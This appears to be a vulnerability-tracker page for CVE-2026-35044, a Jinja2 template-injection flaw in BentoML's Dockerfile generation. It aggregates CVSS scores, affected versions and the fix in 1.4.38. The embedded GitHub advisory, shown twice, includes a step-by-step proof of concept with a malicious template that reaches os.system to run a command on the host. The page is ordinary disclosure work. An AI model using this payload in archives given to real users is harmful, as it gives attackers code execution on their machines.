CVE-2026-35044
BentoML has a Server-Side Template Injection via unsandboxed Jinja2 Environment in Dockerfile generation
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
BentoML has a Server-Side Template Injection via unsandboxed Jinja2 Environment in Dockerfile generation
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.
- Record
CVE-2026-35044- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1336
- Updated
- 2026-11-02
EUVDEUVD-2026-19386
8.8
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.
- Record
EUVD-2026-19386- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-v959-cwq9-7hr6
8.8
BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation
Summary
The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.
Details
The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:
ENVIRONMENT = Environment(
extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
This creates an unsandboxed jinja2.Environment with two dangerous extensions:
jinja2.ext.do— enables{% do %}tags that execute arbitrary Python expressionsjinja2.ext.debug— exposes internal template engine state
Attack path:
- Attacker builds a bento with
dockerfile_templateset inbentofile.yaml. Duringbentoml build,DockerOptions.write_to_bento()(build_config.py:272-276) copies the template file into the bento archive atenv/docker/Dockerfile.template:
if self.dockerfile_template is not None:
shutil.copy2(
resolve_user_filepath(self.dockerfile_template, build_ctx),
docker_folder / "Dockerfile.template",
)
-
Attacker exports the bento as a
.bentoor.tar.gzarchive and distributes it (via S3, HTTP, direct sharing, etc.). -
Victim imports the bento with
bentoml import bento.tar— no validation of template content is performed. -
Victim containerizes with
bentoml containerize. Theconstruct_containerfile()function (__init__.py:198-204) detects the template and sets the path:
docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"
generate_containerfile()(generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
user_templates = docker.dockerfile_template
if user_templates is not None:
dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
user_templates = os.path.basename(user_templates)
TEMPLATES_PATH.append(dir_path)
environment = ENVIRONMENT.overlay(
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
)
template = environment.get_template(
user_templates,
globals={"bento_base_template": template, **J2_FUNCTION},
)
# ...
return template.render(...) # <-- SSTI executes here, on the HOST
Critical distinction: Commands in docker.commands or docker.post_commands execute inside the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, before Docker is invoked. This bypasses all container isolation.
PoC
Step 1: Create malicious template evil.j2:
{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}
Step 2: Create bentofile.yaml referencing the template:
service: 'service:MyService'
docker:
dockerfile_template: ./evil.j2
Step 3: Attacker builds and exports:
bentoml build
bentoml export myservice:latest bento.tar
Step 4: Victim imports and containerizes:
bentoml import bento.tar
bentoml containerize myservice:latest
Step 5: Verify host code execution:
cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...
The SSTI payload executes on the host during template rendering, before any Docker container is created.
**Standalone verification that the Jinja2…
- Record
GHSA-v959-cwq9-7hr6- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1336
- Updated
- 2026-11-02
NVD
8.8
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.
- Record
CVE-2026-35044- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-1336
- Updated
- 2026-11-02
OSV
8.8
BentoML has a Server-Side Template Injection via unsandboxed Jinja2 Environment in Dockerfile generation
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.
- Record
CVE-2026-35044- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1336
- Updated
- 2026-11-02
OSVGHSA-v959-cwq9-7hr6
8.8
BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation
Summary
The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.
Details
The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:
ENVIRONMENT = Environment(
extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
This creates an unsandboxed jinja2.Environment with two dangerous extensions:
jinja2.ext.do— enables{% do %}tags that execute arbitrary Python expressionsjinja2.ext.debug— exposes internal template engine state
Attack path:
- Attacker builds a bento with
dockerfile_templateset inbentofile.yaml. Duringbentoml build,DockerOptions.write_to_bento()(build_config.py:272-276) copies the template file into the bento archive atenv/docker/Dockerfile.template:
if self.dockerfile_template is not None:
shutil.copy2(
resolve_user_filepath(self.dockerfile_template, build_ctx),
docker_folder / "Dockerfile.template",
)
-
Attacker exports the bento as a
.bentoor.tar.gzarchive and distributes it (via S3, HTTP, direct sharing, etc.). -
Victim imports the bento with
bentoml import bento.tar— no validation of template content is performed. -
Victim containerizes with
bentoml containerize. Theconstruct_containerfile()function (__init__.py:198-204) detects the template and sets the path:
docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"
generate_containerfile()(generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
user_templates = docker.dockerfile_template
if user_templates is not None:
dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
user_templates = os.path.basename(user_templates)
TEMPLATES_PATH.append(dir_path)
environment = ENVIRONMENT.overlay(
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
)
template = environment.get_template(
user_templates,
globals={"bento_base_template": template, **J2_FUNCTION},
)
# ...
return template.render(...) # <-- SSTI executes here, on the HOST
Critical distinction: Commands in docker.commands or docker.post_commands execute inside the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, before Docker is invoked. This bypasses all container isolation.
PoC
Step 1: Create malicious template evil.j2:
{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}
Step 2: Create bentofile.yaml referencing the template:
service: 'service:MyService'
docker:
dockerfile_template: ./evil.j2
Step 3: Attacker builds and exports:
bentoml build
bentoml export myservice:latest bento.tar
Step 4: Victim imports and containerizes:
bentoml import bento.tar
bentoml containerize myservice:latest
Step 5: Verify host code execution:
cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...
The SSTI payload executes on the host during template rendering, before any Docker container is created.
**Standalone verification that the Jinja2…
- Record
GHSA-v959-cwq9-7hr6- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1336
- Updated
- 2026-11-02
OSVPYSEC-2026-159
9.6
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.
- Record
PYSEC-2026-159- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
bentomlPyPI |
through 1.4.37 | 1.4.38 |
bentomlPyPI |
before 1.4.38, plus listed versions 0.0.10.0.20.0.30.0.50.0.6a0 Show 45 moreShow less0.0.70.0.7.dev00.0.80.0.8.post10.0.90.1.10.1.20.10.00.10.10.11.00.11.dev00.12.00.12.10.13.00.13.10.13.20.2.00.2.10.2.20.3.00.3.10.3.30.3.40.4.00.4.10.4.20.4.30.4.40.4.50.4.70.4.80.4.90.5.00.5.10.5.20.5.30.5.40.5.50.5.60.5.70.5.80.6.00.6.10.6.20.6.3 |
1.4.38 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-35044 is a high vulnerability (CVSS 8.8) in Bentoml, published April 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 34th percentile. Fixed in bentoml 1.4.38.
References
github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6
nvd.nist.gov/vuln/detail/CVE-2026-35044
github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-159.yaml
github.com/advisories/GHSA-v959-cwq9-7hr6
github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35044.json
github.com/bentoml/BentoML
Left out here: 167 versions and the rest of 2 source descriptions. The JSON record has them.